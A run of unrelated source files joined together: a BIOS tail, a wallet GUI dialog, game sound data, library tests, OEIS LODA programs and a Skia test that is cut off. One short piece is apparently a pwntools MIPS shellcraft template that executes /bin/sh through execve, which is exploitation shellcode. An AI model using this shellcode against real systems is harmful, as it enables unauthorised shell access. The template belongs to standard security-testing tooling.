warm_boot endp power ;-------------------------------------------------------------------------------------------------- ; BIOS Release Date and Signature ;-------------------------------------------------------------------------------------------------- entry 0FFF5h date db "10/28/17", 0 ; Release date (MM/DD/YY) ; originally 08/23/87 entry 0FFFEh ifdef IBM_PC db 0FFh ; Computer type (PC) else db 0FEh ; Computer type (XT) endif ; db 0 ; Checksum byte (8K ROM must sum to 0 mod 256) ends code end
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2017 The PIVX developers // Copyright (c) 2020-2021 The Caskback developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "receivecoinsdialog.h" #include "ui_receivecoinsdialog.h" #include "addressbookpage.h" #include "addresstablemodel.h" #include "bitcoinunits.h" #include "guiutil.h" #include "optionsmodel.h" #include "receiverequestdialog.h" #include "recentrequeststablemodel.h" #include "walletmodel.h" #include <QAction> #include <QCursor> #include <QItemSelection> #include <QMessageBox> #include <QScrollBar> #include <QTextDocument> ReceiveCoinsDialog::ReceiveCoinsDialog(QWidget* parent) : QDialog(parent, Qt::WindowSystemMenuHint | Qt::WindowTitleHint | Qt::WindowCloseButtonHint), ui(new Ui::ReceiveCoinsDialog), model(0) { ui->setupUi(this); #ifdef Q_OS_MAC // Icons on push buttons are very uncommon on Mac ui->clearButton->setIcon(QIcon()); ui->receiveButton->setIcon(QIcon()); ui->showRequestButton->setIcon(QIcon()); ui->removeRequestButton->setIcon(QIcon()); #endif // context menu actions QAction* copyLabelAction = new QAction(tr("Copy label"), this); QAction* copyMessageAction = new QAction(tr("Copy message"), this); QAction* copyAmountAction = new QAction(tr("Copy amount"), this); // context menu contextMenu = new QMenu(); contextMenu->addAction(copyLabelAction); contextMenu->addAction(copyMessageAction); contextMenu->addAction(copyAmountAction); // context menu signals connect(ui->recentRequestsView, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(showMenu(QPoint))); connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(copyLabel())); connect(copyMessageAction, SIGNAL(triggered()), this, SLOT(copyMessage())); connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount())); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); } void ReceiveCoinsDialog::setModel(WalletModel* model) { this->model = model; if (model && model->getOptionsModel()) { model->getRecentRequestsTableModel()->sort(RecentRequestsTableModel::Date, Qt::DescendingOrder); connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); updateDisplayUnit(); QTableView* tableView = ui->recentRequestsView; tableView->verticalHeader()->hide(); tableView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); tableView->setModel(model->getRecentRequestsTableModel()); tableView->setAlternatingRowColors(true); tableView->setSelectionBehavior(QAbstractItemView::SelectRows); tableView->setSelectionMode(QAbstractItemView::ContiguousSelection); tableView->setColumnWidth(RecentRequestsTableModel::Date, DATE_COLUMN_WIDTH); tableView->setColumnWidth(RecentRequestsTableModel::Label, LABEL_COLUMN_WIDTH); connect(tableView->selectionModel(), SIGNAL(selectionChanged(QItemSelection, QItemSelection)), this, SLOT(recentRequestsView_selectionChanged(QItemSelection, QItemSelection))); // Last 2 columns are set by the columnResizingFixer, when the table geometry is ready. columnResizingFixer = new GUIUtil::TableViewLastColumnResizingFixer(tableView, AMOUNT_MINIMUM_COLUMN_WIDTH, DATE_COLUMN_WIDTH); } } ReceiveCoinsDialog::~ReceiveCoinsDialog() { delete ui; } void ReceiveCoinsDialog::clear() { ui->reqAmount->clear(); ui->reqLabel->setText(""); ui->reqMessage->setText(""); ui->reuseAddress->setChecked(false); updateDisplayUnit(); } void ReceiveCoinsDialog::reject() { clear(); } void ReceiveCoinsDialog::accept() { clear(); } void ReceiveCoinsDialog::updateDisplayUnit() { if (model && model->getOptionsModel()) { ui->reqAmount->setDisplayUnit(model->getOptionsModel()->getDisplayUnit()); } } void ReceiveCoinsDialog::on_receiveButton_clicked() { if (!model || !model->getOptionsModel() || !model->getAddressTableModel() || !model->getRecentRequestsTableModel()) return; QString address; QString label = ui->reqLabel->text(); if (ui->reuseAddress->isChecked()) { /* Choose existing receiving address */ AddressBookPage dlg(AddressBookPage::ForSelection, AddressBookPage::ReceivingTab, this); dlg.setModel(model->getAddressTableModel()); if (dlg.exec()) { address = dlg.getReturnValue(); if (label.isEmpty()) /* If no label provided, use the previously used label */ { label = model->getAddressTableModel()->labelForAddress(address); } } else { return; } } else { /* Generate new receiving address */ address = model->getAddressTableModel()->addRow(AddressTableModel::Receive, label, ""); } SendCoinsRecipient info(address, label, ui->reqAmount->value(), ui->reqMessage->text()); ReceiveRequestDialog* dialog = new ReceiveRequestDialog(this); dialog->setAttribute(Qt::WA_DeleteOnClose); dialog->setModel(model->getOptionsModel()); dialog->setInfo(info); dialog->show(); clear(); /* Store request for later reference */ model->getRecentRequestsTableModel()->addNewRequest(info); } void ReceiveCoinsDialog::on_recentRequestsView_doubleClicked(const QModelIndex& index) { const RecentRequestsTableModel* submodel = model->getRecentRequestsTableModel(); ReceiveRequestDialog* dialog = new ReceiveRequestDialog(this); dialog->setModel(model->getOptionsModel()); dialog->setInfo(submodel->entry(index.row()).recipient); dialog->setAttribute(Qt::WA_DeleteOnClose); dialog->show(); } void ReceiveCoinsDialog::recentRequestsView_selectionChanged(const QItemSelection& selected, const QItemSelection& deselected) { // Enable Show/Remove buttons only if anything is selected. bool enable = !ui->recentRequestsView->selectionModel()->selectedRows().isEmpty(); ui->showRequestButton->setEnabled(enable); ui->removeRequestButton->setEnabled(enable); } void ReceiveCoinsDialog::on_showRequestButton_clicked() { if (!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel()) return; QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows(); foreach (QModelIndex index, selection) { on_recentRequestsView_doubleClicked(index); } } void ReceiveCoinsDialog::on_removeRequestButton_clicked() { if (!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel()) return; QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows(); if (selection.empty()) return; // correct for selection mode ContiguousSelection QModelIndex firstIndex = selection.at(0); model->getRecentRequestsTableModel()->removeRows(firstIndex.row(), selection.length(), firstIndex.parent()); } // We override the virtual resizeEvent of the QWidget to adjust tables column // sizes as the tables width is proportional to the dialogs width. void ReceiveCoinsDialog::resizeEvent(QResizeEvent* event) { QWidget::resizeEvent(event); columnResizingFixer->stretchColumnWidth(RecentRequestsTableModel::Message); } void ReceiveCoinsDialog::keyPressEvent(QKeyEvent* event) { if (event->key() == Qt::Key_Return) { // press return -> submit form if (ui->reqLabel->hasFocus() || ui->reqAmount->hasFocus() || ui->reqMessage->hasFocus()) { event->ignore(); on_receiveButton_clicked(); return; } } this->QDialog::keyPressEvent(event); } // copy column of selected row to clipboard void ReceiveCoinsDialog::copyColumnToClipboard(int column) { if (!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel()) return; QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows(); if (selection.empty()) return; // correct for selection mode ContiguousSelection QModelIndex firstIndex = selection.at(0); GUIUtil::setClipboard(model->getRecentRequestsTableModel()->data(firstIndex.child(firstIndex.row(), column), Qt::EditRole).toString()); } // context menu void ReceiveCoinsDialog::showMenu(const QPoint& point) { if (!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel()) return; QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows(); if (selection.empty()) return; contextMenu->exec(QCursor::pos()); } // context menu action: copy label void ReceiveCoinsDialog::copyLabel() { copyColumnToClipboard(RecentRequestsTableModel::Label); } // context menu action: copy message void ReceiveCoinsDialog::copyMessage() { copyColumnToClipboard(RecentRequestsTableModel::Message); } // context menu action: copy amount void ReceiveCoinsDialog::copyAmount() { copyColumnToClipboard(RecentRequestsTableModel::Amount); }
Sound5E_WingFortress_Header: smpsHeaderStartSong 2 smpsHeaderVoice Sound5E_WingFortress_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cFM3, Sound5E_WingFortress_FM3, $14, $05 ; FM3 Data Sound5E_WingFortress_FM3: smpsSetvoice $00 Sound5E_WingFortress_Loop00: dc.b nAb1, $02, nAb1, $01 smpsLoop $00, $13, Sound5E_WingFortress_Loop00 Sound5E_WingFortress_Loop01: dc.b nAb1, $02, nAb1, $01 smpsAlterVol $01 smpsLoop $00, $1B, Sound5E_WingFortress_Loop01 smpsStop Sound5E_WingFortress_Voices: ; Voice $00 ; $35 ; $30, $40, $44, $51, $1F, $1F, $1F, $1F, $10, $13, $00, $15 ; $1F, $1F, $00, $1A, $7F, $7F, $0F, $5F, $02, $80, $A8, $80 smpsVcAlgorithm $05 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $05, $04, $04, $03 smpsVcCoarseFreq $01, $04, $00, $00 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $15, $00, $13, $10 smpsVcDecayRate2 $1A, $00, $1F, $1F smpsVcDecayLevel $05, $00, $07, $07 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $28, $00, $02
//================================================================================================== /** EVE - Expressive Vector Engine Copyright : EVE Contributors & Maintainers SPDX-License-Identifier: MIT **/ //================================================================================================== #include <eve/function/diff/sqr.hpp> #include <type_traits> TTS_CASE_TPL("Check diff(sqr) return type", EVE_TYPE) { if constexpr(eve::floating_value<T>) { using ui_t = eve::as_integer_t<T, unsigned>; TTS_EXPR_IS(eve::diff(eve::sqr)(T(), unsigned()), T); TTS_EXPR_IS(eve::diff(eve::sqr)(T(), ui_t()), T); } else { TTS_PASS("Unsupported type"); } } TTS_CASE_TPL("Check eve::diff(eve::sqr) behavior", EVE_TYPE) { if constexpr(eve::floating_value<T>) { TTS_EQUAL(eve::diff(eve::sqr)(T{10}, 0u), T(100)); TTS_EQUAL(eve::diff(eve::sqr)(T{10}, 1u), T(20)); TTS_EQUAL(eve::diff(eve::sqr)(T{10}, 2u), T(2)); TTS_EQUAL(eve::diff(eve::sqr)(T{-10}, 0u), T(100)); TTS_EQUAL(eve::diff(eve::sqr)(T{-10}, 1u), T(-20)); TTS_EQUAL(eve::diff(eve::sqr)(T{-10}, 2u), T(2)); } else { TTS_PASS("Unsupported type"); } }
; A153189: Triangle T(n,k) = Product_{j=0..k} n*j+1. ; Submitted by Christian Krause ; 1,1,2,1,3,15,1,4,28,280,1,5,45,585,9945,1,6,66,1056,22176,576576,1,7,91,1729,43225,1339975,49579075,1,8,120,2640,76560,2756160,118514880,5925744000,1,9,153,3825,126225,5175225,253586025,14454403425,939536222625,1,10,190,5320,196840,9054640,498005200,31872332800,2326680294400,190787784140800,1,11,231,7161,293601,14973651,913392711,64850882481,5252921480961,478015854767451,48279601331512551,1,12,276,9384,422280,23647680,1584394560,123582775680,10998867035520,1099886703552000,122087424094272000 mov $1,1 mov $2,1 lpb $0 add $2,$4 mov $3,$0 lpb $3 sub $0,$2 max $4,$2 add $2,1 sub $3,$4 lpe sub $0,1 mul $1,$2 lpe mov $0,$1
; A103991: Reduced denominators of the hypercube line-picking integrand sqrt(Pi)*I(n,0). ; 3,5,21,9,11,39,15,17,57,21,23,75,27,29,93,33,35,111,39,41 mul $0,2 add $0,2 mov $2,$0 add $0,1 gcd $2,3 mul $0,$2
<% from pwnlib.shellcraft import mips %> <%docstring>Execute /bin/sh</%docstring> ${mips.pushstr('//bin/sh')} ${mips.syscall('SYS_execve', '$sp', 0, 0)}
; A085279: Expansion of (1 - 2*x - 2*x^2)/((1 - 2*x)*(1 - 3*x)). ; 1,3,7,17,43,113,307,857,2443,7073,20707,61097,181243,539633,1610707,4815737,14414443,43177793,129402307,387944777,1163310043,3488881553,10464547507,31389448217,94159956043,282463090913,847355718307,2542000046057,7625865920443,22877329325873,68631451106707,205893279578297,617677691251243,1853028778786433,5559077746424707 mov $2,1 mov $3,1 lpb $0 sub $0,1 add $1,$3 mul $2,2 mov $3,$1 add $3,$1 lpe add $1,$2
; A132776: A128064(unsigned) * A007318. ; Submitted by Christian Krause ; 1,3,2,5,8,3,7,18,15,4,9,32,42,24,5,11,50,90,80,35,6,13,72,165,200,135,48,7,15,98,273,420,385,210,63,8,17,128,420,784,910,672,308,80,9,19,162,612,1344,1890,1764,1092,432,99,10 sub $2,$0 lpb $0 add $2,1 add $2,$1 add $1,1 sub $0,$1 add $2,2 lpe bin $1,$0 mul $2,$1 add $2,$1 mov $0,$2
LXI H,2060H ; set up HL to point to address of N MOV C,M ; transfer value of N in register C MVI A,00 ; clear accumulator to store nth fibonacci number MVI B,01 ; set B = 01H as the 2nd fibonacci number CALL FIBONACCI ; compute the nth fibonacci number STA 2050H ; store the result in 2050H HLT ; stop FIBONACCI: DCR C ; decrement value of N by 1 RZ ; return if N is 0 ADD B ; add (B) to get the next fibonacci number MOV D,A ; transfer (A) to register D MOV A,B ; transfer (B) to accumulator MOV B,D ; transfer contents of D to B JMP FIBONACCI ; unconditional jump to the subroutine
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "include/core/SkBitmap.h" #include "include/core/SkCanvas.h" #include "include/core/SkSurface.h" #include "include/gpu/GrBackendSurface.h" #include "include/gpu/GrDirectContext.h" #include "include/private/SkColorData.h" #include "include/private/SkImageInfoPriv.h" #include "src/core/SkMathPriv.h" #include "src/gpu/GrDirectContextPriv.h" #include "src/gpu/GrGpu.h" #include "src/gpu/GrProxyProvider.h" #include "tests/Test.h" #include "tools/gpu/BackendSurfaceFactory.h" #include <initializer_list> static const int DEV_W = 100, DEV_H = 100; static const SkIRect DEV_RECT = SkIRect::MakeWH(DEV_W, DEV_H); static const U8CPU DEV_PAD = 0xee; static SkPMColor get_canvas_color(int x, int y) { SkASSERT(x >= 0 && x < DEV_W); SkASSERT(y >= 0 && y < DEV_H); U8CPU r = x; U8CPU g = y; U8CPU b = 0xc; U8CPU a = 0x0; switch ((x+y) % 5) { case 0: a = 0xff; break; case 1: a = 0x80; break; case 2: a = 0xCC; break; case 3: a = 0x00; break; case 4: a = 0x01; break; } return SkPremultiplyARGBInline(a, r, g, b); } // assumes any premu/.unpremul has been applied static uint32_t pack_color_type(SkColorType ct, U8CPU a, U8CPU r, U8CPU g, U8CPU b) { uint32_t r32; uint8_t* result = reinterpret_cast<uint8_t*>(&r32); switch (ct) { case kBGRA_8888_SkColorType: result[0] = b; result[1] = g; result[2] = r; result[3] = a; break; case kRGBA_8888_SkColorType: // fallthrough case kRGB_888x_SkColorType: result[0] = r; result[1] = g; result[2] = b; result[3] = a; break; default: SkASSERT(0); return 0; } return r32; } static uint32_t get_bitmap_color(int x, int y, int w, SkColorType ct, SkAlphaType at) { int n = y * w + x; U8CPU b = n & 0xff; U8CPU g = (n >> 8) & 0xff; U8CPU r = (n >> 16) & 0xff; U8CPU a = 0; switch ((x+y) % 5) { case 4: a = 0xff; break; case 3: a = 0x80; break; case 2: a = 0xCC; break; case 1: a = 0x01; break; case 0: a = 0x00; break; } if (kPremul_SkAlphaType == at) { r = SkMulDiv255Ceiling(r, a); g = SkMulDiv255Ceiling(g, a); b = SkMulDiv255Ceiling(b, a); } return pack_color_type(ct, a, r, g , b); } static void fill_surface(SkSurface* surface) { SkBitmap bmp; bmp.allocN32Pixels(DEV_W, DEV_H); for (int y = 0; y < DEV_H; ++y) { for (int x = 0; x < DEV_W; ++x) { *bmp.getAddr32(x, y) = get_canvas_color(x, y); } } surface->writePixels(bmp, 0, 0); } /** * Lucky for us, alpha is always in the same spot (SK_A32_SHIFT), for both RGBA and BGRA. * Thus this routine doesn't need to know the exact colortype */ static uint32_t premul(uint32_t color) { unsigned a = SkGetPackedA32(color); // these next three are not necessarily r,g,b in that order, but they are r,g,b in some order. unsigned c0 = SkGetPackedR32(color); unsigned c1 = SkGetPackedG32(color); unsigned c2 = SkGetPackedB32(color); c0 = SkMulDiv255Ceiling(c0, a); c1 = SkMulDiv255Ceiling(c1, a); c2 = SkMulDiv255Ceiling(c2, a); return SkPackARGB32NoCheck(a, c0, c1, c2); } static SkPMColor convert_to_PMColor(SkColorType ct, SkAlphaType at, uint32_t color) { if (kUnpremul_SkAlphaType == at) { color = premul(color); } switch (ct) { case kRGBA_8888_SkColorType: // fallthrough case kRGB_888x_SkColorType: color = SkSwizzle_RGBA_to_PMColor(color); break; case kBGRA_8888_SkColorType: color = SkSwizzle_BGRA_to_PMColor(color); break; default: SkASSERT(0); break; } return color; } static bool check_pixel(SkPMColor a, SkPMColor b, bool didPremulConversion) { if (!didPremulConversion) { return a == b; } int32_t aA = static_cast<int32_t>(SkGetPackedA32(a)); int32_t aR = static_cast<int32_t>(SkGetPackedR32(a)); int32_t aG = static_cast<int32_t>(SkGetPackedG32(a)); int32_t aB = SkGetPackedB32(a); int32_t bA = static_cast<int32_t>(SkGetPackedA32(b)); int32_t bR = static_cast<int32_t>(SkGetPackedR32(b)); int32_t bG = static_cast<int32_t>(SkGetPackedG32(b)); int32_t bB = static_cast<int32_t>(SkGetPackedB32(b)); return aA == bA && SkAbs32(aR - bR) <= 1 && SkAbs32(aG - bG) <= 1 && SkAbs32(aB - bB) <= 1; } bool write_should_succeed(const SkImageInfo& dstInfo, const SkImageInfo& srcInfo, bool isGPU) { if (!SkImageInfoValidConversion(dstInfo, srcInfo)) { return false; } if (!isGPU) { return true; } // The GPU backend supports writing unpremul data to a premul dst but not vice versa. if (srcInfo.alphaType() == kPremul_SkAlphaType && dstInfo.alphaType() == kUnpremul_SkAlphaType) { return false; } if (!SkColorTypeIsAlwaysOpaque(srcInfo.colorType()) && SkColorTypeIsAlwaysOpaque(dstInfo.colorType())) { return false; } // The source has no alpha value and the dst is only alpha if (SkColorTypeIsAlwaysOpaque(srcInfo.colorType()) && SkColorTypeIsAlphaOnly(dstInfo.colorType())) { return false; } return true; } static bool check_write(skiatest::Reporter* reporter, SkSurface* surf, SkAlphaType surfaceAlphaType, const SkBitmap& bitmap, int writeX, int writeY) { size_t canvasRowBytes; const uint32_t* canvasPixels; // Can't use canvas->peekPixels(), as we are trying to look at GPU pixels sometimes as well. // At some point this will be unsupported, as we won't allow accessBitmap() to magically call // readPixels for the client. SkBitmap secretDevBitmap; secretDevBitmap.allocN32Pixels(surf->width(), surf->height()); if (!surf->readPixels(secretDevBitmap, 0, 0)) { return false; } canvasRowBytes = secretDevBitmap.rowBytes(); canvasPixels = static_cast<const uint32_t*>(secretDevBitmap.getPixels()); if (nullptr == canvasPixels) { return false; } if (surf->width() != DEV_W || surf->height() != DEV_H) { return false; } const SkImageInfo& bmInfo = bitmap.info(); SkIRect writeRect = SkIRect::MakeXYWH(writeX, writeY, bitmap.width(), bitmap.height()); for (int cy = 0; cy < DEV_H; ++cy) { for (int cx = 0; cx < DEV_W; ++cx) { SkPMColor canvasPixel = canvasPixels[cx]; if (writeRect.contains(cx, cy)) { int bx = cx - writeX; int by = cy - writeY; uint32_t bmpColor8888 = get_bitmap_color(bx, by, bitmap.width(), bmInfo.colorType(), bmInfo.alphaType()); bool mul = (kUnpremul_SkAlphaType == bmInfo.alphaType()); SkPMColor bmpPMColor = convert_to_PMColor(bmInfo.colorType(), bmInfo.alphaType(), bmpColor8888); if (bmInfo.alphaType() == kOpaque_SkAlphaType || surfaceAlphaType == kOpaque_SkAlphaType) { bmpPMColor |= 0xFF000000; } if (!check_pixel(bmpPMColor, canvasPixel, mul)) { ERRORF(reporter, "Expected canvas pixel at %d, %d to be 0x%08x, got 0x%08x. " "Write performed premul: %d", cx, cy, bmpPMColor, canvasPixel, mul); return false; } } else { SkPMColor testColor = get_canvas_color(cx, cy); if (canvasPixel != testColor) { ERRORF(reporter, "Canvas pixel outside write rect at %d, %d changed." " Should be 0x%08x, got 0x%08x. ", cx, cy, testColor, canvasPixel); return false; } } } if (cy != DEV_H -1) { const char* pad = reinterpret_cast<const char*>(canvasPixels + DEV_W); for (size_t px = 0; px < canvasRowBytes - 4 * DEV_W; ++px) { bool check; REPORTER_ASSERT(reporter, check = (pad[px] == static_cast<char>(DEV_PAD))); if (!check) { return false; } } } canvasPixels += canvasRowBytes/4; } return true; } #include "include/core/SkMallocPixelRef.h" // This is a tricky pattern, because we have to setConfig+rowBytes AND specify // a custom pixelRef (which also has to specify its rowBytes), so we have to be // sure that the two rowBytes match (and the infos match). // static bool alloc_row_bytes(SkBitmap* bm, const SkImageInfo& info, size_t rowBytes) { if (!bm->setInfo(info, rowBytes)) { return false; } sk_sp<SkPixelRef> pr = SkMallocPixelRef::MakeAllocate(info, rowBytes); bm->setPixelRef(std::move(pr), 0, 0); return true; } static void free_pixels(void* pixels, void* ctx) { sk_free(pixels); } static bool setup_bitmap(SkBitmap* bm, SkColorType ct, SkAlphaType at, int w, int h, int tightRB) { size_t rowBytes = tightRB ? 0 : 4 * w + 60; SkImageInfo info = SkImageInfo::Make(w, h, ct, at); if (!alloc_row_bytes(bm, info, rowBytes)) { return false; } for (int y = 0; y < h; ++y) { for (int x = 0; x < w; ++x) { *bm->getAddr32(x, y) = get_bitmap_color(x, y, w, ct, at); } } return true; } static void call_writepixels(SkSurface* surface) { const SkImageInfo info = SkImageInfo::MakeN32Premul(1, 1); SkPMColor pixel = 0; surface->writePixels({info, &pixel, sizeof(SkPMColor)}, 0, 0); } DEF_TEST(WritePixelsSurfaceGenID, reporter) { const SkImageInfo info = SkImageInfo::MakeN32Premul(100, 100); auto surface(SkSurface::MakeRaster(info)); uint32_t genID1 = surface->generationID(); call_writepixels(surface.get()); uint32_t genID2 = surface->generationID(); REPORTER_ASSERT(reporter, genID1 != genID2); } static void test_write_pixels(skiatest::Reporter* reporter, SkSurface* surface, const SkImageInfo& surfaceInfo) { const SkIRect testRects[] = { // entire thing DEV_RECT, // larger on all sides SkIRect::MakeLTRB(-10, -10, DEV_W + 10, DEV_H + 10), // fully contained SkIRect::MakeLTRB(DEV_W / 4, DEV_H / 4, 3 * DEV_W / 4, 3 * DEV_H / 4), // outside top left SkIRect::MakeLTRB(-10, -10, -1, -1), // touching top left corner SkIRect::MakeLTRB(-10, -10, 0, 0), // overlapping top left corner SkIRect::MakeLTRB(-10, -10, DEV_W / 4, DEV_H / 4), // overlapping top left and top right corners SkIRect::MakeLTRB(-10, -10, DEV_W + 10, DEV_H / 4), // touching entire top edge SkIRect::MakeLTRB(-10, -10, DEV_W + 10, 0), // overlapping top right corner SkIRect::MakeLTRB(3 * DEV_W / 4, -10, DEV_W + 10, DEV_H / 4), // contained in x, overlapping top edge SkIRect::MakeLTRB(DEV_W / 4, -10, 3 * DEV_W / 4, DEV_H / 4), // outside top right corner SkIRect::MakeLTRB(DEV_W + 1, -10, DEV_W + 10, -1), // touching top right corner SkIRect::MakeLTRB(DEV_W, -10, DEV_W + 10, 0), // overlapping top left and bottom left corners SkIRect::MakeLTRB(-10, -10, DEV_W / 4, DEV_H + 10), // touching entire left edge SkIRect::MakeLTRB(-10, -10, 0, DEV_H + 10), // overlapping bottom left corner SkIRect::MakeLTRB(-10, 3 * DEV_H / 4, DEV_W / 4, DEV_H + 10), // contained in y, overlapping left edge SkIRect::MakeLTRB(-10, DEV_H / 4, DEV_W / 4, 3 * DEV_H / 4), // outside bottom left corner SkIRect::MakeLTRB(-10, DEV_H + 1, -1, DEV_H + 10), // touching bottom left corner SkIRect::MakeLTRB(-10, DEV_H, 0, DEV_H + 10), // overlapping bottom left and bottom right corners SkIRect::MakeLTRB(-10, 3 * DEV_H / 4, DEV_W + 10, DEV_H + 10), // touching entire left edge SkIRect::MakeLTRB(0, DEV_H, DEV_W, DEV_H + 10), // overlapping bottom right corner SkIRect::MakeLTRB(3 * DEV_W / 4, 3 * DEV_H / 4, DEV_W + 10, DEV_H + 10), // overlapping top right and bottom right corners SkIRect::MakeLTRB(3 * DEV_W / 4, -10, DEV_W + 10, DEV_H + 10), }; SkCanvas* canvas = surface->getCanvas(); static const struct { SkColorType fColorType; SkAlphaType fAlphaType; } gSrcConfigs[] = { {kRGBA_8888_SkColorType, kPremul_SkAlphaType}, {kRGBA_8888_SkColorType, kUnpremul_SkAlphaType}, {kRGB_888x_SkColorType, kOpaque_SkAlphaType}, {kBGRA_8888_SkColorType, kPremul_SkAlphaType}, {kBGRA_8888_SkColorType, kUnpremul_SkAlphaType}, }; for (size_t r = 0; r < SK_ARRAY_COUNT(testRects); ++r) { const SkIRect& rect = testRects[r]; for (int tightBmp = 0; tightBmp < 2; ++tightBmp) { for (size_t c = 0; c < SK_ARRAY_COUNT(gSrcConfigs); ++c) { const SkColorType ct = gSrcConfigs[c].fColorType; const SkAlphaType at = gSrcConfigs[c].fAlphaType; bool isGPU = SkToBool(surface->getCanvas()->recordingContext()); fill_surface(surface); SkBitmap bmp; REPORTER_ASSERT(reporter, setup_bitmap(&bmp, ct, at, rect.width(), rect.height(), SkToBool(tightBmp))); uint32_t idBefore = surface->generationID(); surface->writePixels(bmp, rect.fLeft, rect.fTop); uint32_t idAfter = surface->generationID(); REPORTER_ASSERT(reporter, check_write(reporter, surface, surfaceInfo.alphaType(), bmp, rect.fLeft, rect.fTop)); // we should change the genID iff pixels were actually written. SkIRect canvasRect = SkIRect::MakeSize(canvas->getBaseLayerSize()); SkIRect writeRect = SkIRect::MakeXYWH(rect.fLeft, rect.fTop, bmp.width(), bmp.height()); bool expectSuccess = SkIRect::Intersects(canvasRect, writeRect) && write_should_succeed(surfaceInfo, bmp.info(), isGPU); REPORTER_ASSERT(reporter, expectSuccess == (idBefore != idAfter)); } } } } DEF_TEST(WritePixels, reporter) { const SkImageInfo info = SkImageInfo::MakeN32Premul(DEV_W, DEV_H); for (auto& tightRowBytes : { true, false }) { const size_t rowBytes = tightRowBytes ? info.minRowBytes() : 4 * DEV_W + 100; const size_t size = info.computeByteSize(rowBytes); void* pixels = sk_malloc_throw(size); // if rowBytes isn't tight then set the padding to a known value if (!tightRowBytes) { memset(pixels, DEV_PAD, size); } auto surface(SkSurface::MakeRasterDirectReleaseProc(info, pixels, rowBytes, free_pixels, nullptr)); test_write_pixels(reporter, surface.get(), info); } } static void test_write_pixels(skiatest::Reporter* reporter, GrRecordingContext* rContext, int sampleCnt) { const SkImageInfo ii = SkImageInfo::MakeN32Premul(DEV_W, DEV_H); for (auto& origin : { kTopLeft_GrSurfaceOrigin, kBottomLeft_GrSurfaceOrigin }) { sk_sp<SkSurface> surface(SkSurface::MakeRenderTarget(rContext, SkBudgeted::kNo, ii, sampleCnt, origin, nullptr)); if (surface) { test_write_pixels(reporter, surface.get(), ii); } } } DEF_GPUTEST_FOR_RENDERING_CONTEXTS(WritePixels_Gpu, reporter, ctxInfo) { test_write_pixels(reporter, ctxInfo.directContext(), 1); } DEF_GPUTEST_FOR_RENDERING_CONTEXTS(WritePixelsMSAA_Gpu, reporter, ctxInfo) { test_write_pixels(reporter, ctxInfo.directContext(), 1); } static void test_write_pixels_non_texture(skiatest::Reporter* reporter, GrDirectContext* dContext, int sampleCnt) { // Dawn currently doesn't support writePixels to a texture-as-render-target. // See http://skbug.com/10336. if (GrBackendApi::kDawn == dContext->backend()) { return; } for (auto& origin : { kTopLeft_GrSurfaceOrigin, kBottomLeft_GrSurfaceOrigin }) { SkColorType colorType = kN32_SkColorType; auto surface = sk_gpu_test::MakeBackendRenderTargetSurface(dContext, {DEV_W, DEV_H}, origin, sampleCnt, colorType); if (surface) { auto ii = SkImageInfo::MakeN32Premul(DEV_W, DEV_H); test_write_pixels(reporter, surface.get(), ii); } } } DEF_GPUTEST_FOR_RENDERING_CONTEXTS(WritePixelsNonTexture_Gpu, reporter, ctxInfo) { test_write_pixels_non_texture(reporter, ctxInfo.directContext(), 1); } DEF_GPUTEST_FOR_RENDERING_CONTEXTS(WritePixelsNonTextureMSAA_Gpu, reporter, ctxInfo) { test_write_pixels_non_texture(reporter, ctxInfo.directContext(), 4); } static sk_sp<SkSurface> create_surf(GrRecordingContext* rContext, int width, int height) { const SkImageInfo ii = SkImageInfo::Make(width, height, kRGBA_8888_SkColorType, kPremul_SkAlphaType); sk_sp<SkSurface> surf = SkSurface::MakeRenderTarget(rContext, SkBudgeted::kYes, ii); surf->flushAndSubmit(); return surf; } static sk_sp<SkImage> upload(const sk_sp<SkSurface>& surf, SkColor color) { const SkImageInfo smII = SkImageInfo::Make(16, 16, kRGBA_8888_SkColorType, kPremul_SkAlphaType); SkBitmap bm; bm.allocPixels(smII); bm.eraseColor(color); surf->writePixels(bm, 0, 0); return surf->makeImageSnapshot(); } // This is tests whether the first writePixels is completed before the // second writePixels takes effect (i.e., that writePixels correctly flushes // in between uses of the shared backing resource). DEF_GPUTEST_FOR_RENDERING_CONTEXTS(WritePixelsPendingIO, reporter, ctxInfo) { auto context = ctxInfo.directContext(); GrProxyProvider* proxyProvider = context->priv().proxyProvider(); const GrCaps* caps = context->priv().caps(); static const int kFullSize = 62; static const int kHalfSize = 31; static const uint32_t kLeftColor = 0xFF222222; static const uint32_t kRightColor = 0xFFAAAAAA; const SkImageInfo fullII = SkImageInfo::Make(kFullSize, kFullSize, kRGBA_8888_SkColorType, kPremul_SkAlphaType); const SkImageInfo halfII = SkImageInfo::Make(kHalfSize, kFullSize, kRGBA_8888_SkColorType, kPremul_SkAlphaType); sk_sp<SkSurface> dest = SkSurface::MakeRenderTarget(context, SkBudgeted::kYes, fullII); { // Seed the resource cached with a scratch texture that will be reused by writePixels static constexpr SkISize kDims = {32, 64}; const GrBackendFormat format = caps->getDefaultBackendFormat(GrColorType::kRGBA_8888, GrRenderable::kNo); sk_sp<GrTextureProxy> temp = proxyProvider->createProxy( format, kDims, GrRenderable::kNo, 